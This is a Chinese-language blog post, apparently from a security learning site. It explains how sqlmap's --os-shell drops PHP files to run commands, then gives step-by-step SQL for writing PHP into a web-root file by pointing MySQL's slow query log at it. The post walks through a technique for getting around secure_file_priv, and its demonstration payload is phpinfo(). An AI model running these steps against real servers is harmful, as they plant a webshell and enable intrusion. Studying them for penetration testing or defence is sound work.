当前位置:网站首页>通过os-shell引发的mysql拿shell的思考
通过os-shell引发的mysql拿shell的思考
2022-07-29 05:26:00 【无情哈老少】
–os-shell使用条件
对于mysql数据库来说,–os-shell的本质就是写入两个php文件,其中的tmpugvzq.php可以让我们上传文件到网站路径下
然后sqlmap就会通过上面这个php上传一个用于命令执行的tmpbylqf.php到网站路径下,让我们命令执行,并将输出的内容返回sqlmap端。
知道网站的物理路径
高权限数据库用户
secure_file_priv无限制 (mysql 5.6.34版本以后默认为null,无法写入文件)
网站路径有写入权限
那么当我们发现其他条件都满足,但PHP版本过高怎么办呢?请看如下方法
mysql高权限突破写入限制拿shell
mysql 5.6.34以下版本可以用文件操作函数直接写入shell
慢查询日志写shell
下面介绍这种方法
1.设置slow_query_log=1.即启用慢查询日志(默认禁用)。
set global slow_query_log = 1;
2.伪造(修改)slow_query_log_file日志文件的绝对路径以及文件名
set global slow_query_log_file='绝对路径\\filename';
set global slow_query_log_file='D:\\phpstudy_pro\\WWW\\1.php'; //注意这里两个下划线,转义
show variables like'%slow_query_log%'; //查询是否设置成功
3.向日志文件写入shell
select '<?= phpinfo(); ?>' or sleep(11) //这里可以用一个等号代替php,这是php的一个特性
//注意这里的11秒根据实际情况而定,也就是根据下面所说的慢查询的时间
对慢查询日志的补充:
因为是用的慢查询日志,所以说只有当查询语句执行的时间要超过系统默认的时间时,该语句才会被记入进慢查询日志。
时间默认超过多少的称为慢查询日志?
一般都是通过long_query_time选项来设置这个时间值,时间以秒为单位,可以精确到微秒。如果查询时间超过了这个时间值(默认为10秒),这个查询语句将被记录到慢查询日志中。查看服务器默认时间值方式如下:
show global variables like '%long_query_time%' //默认10秒
set global long_query_time = 9; //设置慢查询为9秒

注:该方法也需要下列条件
1.root权限
2.知道网站绝对路径
3.该目录下有写入权限
总结:
相对来说比–os-shell少一个条件,也就是比传统的文件导入写shell少一个条件,那就是secure_file_priv的限制,不失为一种好的思路。
边栏推荐
- EtherCAT主站掉线后,如何保证目标系统免受故障影响?
- 6898 changing matrix problem solution
- 官方教程 Redshift 06 Opt参数
- [beauty of software engineering - column notes] 13 | how to break the rhythm of writing code during daytime meetings and overtime?
- Single chain surface test questions
- 动态规划总结
- [beauty of software engineering - column notes] 16 | how to write project documents?
- 使用STP生成树协议解决网络中的二层环路问题
- Leetcode 189. rotation array
- 六、 网络互联与互联网
猜你喜欢

Unity-默认渲染管线-刻晴卡渲shader

官方教程 Redshift 05 AOVs

虹科分享 | 为什么说EtherCAT是提高控制系统性能的最佳解决方案?

Leetcode 977. Square of ordered array

Leetcode 3. longest substring without repeated characters

Leetcode 557. reverse word III in string

赛博朋克版特效shader

Leetcode notes 452. minimum number of arrows to burst balloons (medium) 452. detonate balloons with the minimum number of arrows (medium)

JVM memory structure

Unity中简单的matcap+fresnel shader的实现
随机推荐
Leetcode notes 605. can place flowers (easy) 605. planting flowers
黑客攻击入侵服务器的6种常见方式
unsigned right shift
虹科分享 | 如何测试与验证复杂的FPGA设计(1)——面向实体或块的仿真
leetcode---技巧
官方教程 Redshift 04 渲染参数
详解FIR滤波器和IIR滤波器的区别
Official tutorial redshift 05 AOVs
网络安全学习(二)
UE4 高光官方参考值
练习:存放部门信息
使用STP生成树协议解决网络中的二层环路问题
Leetcode 35. search insertion location
LeetCode #13. 罗马数字转整数
Unity初学1——角色移动控制(2d)
Redshift还原SP效果 - SP贴图导出设置及贴图导入配置
MySQL interview questions
赛博朋克版特效shader
9196 tumor area solution
NoClassDefFoundError processing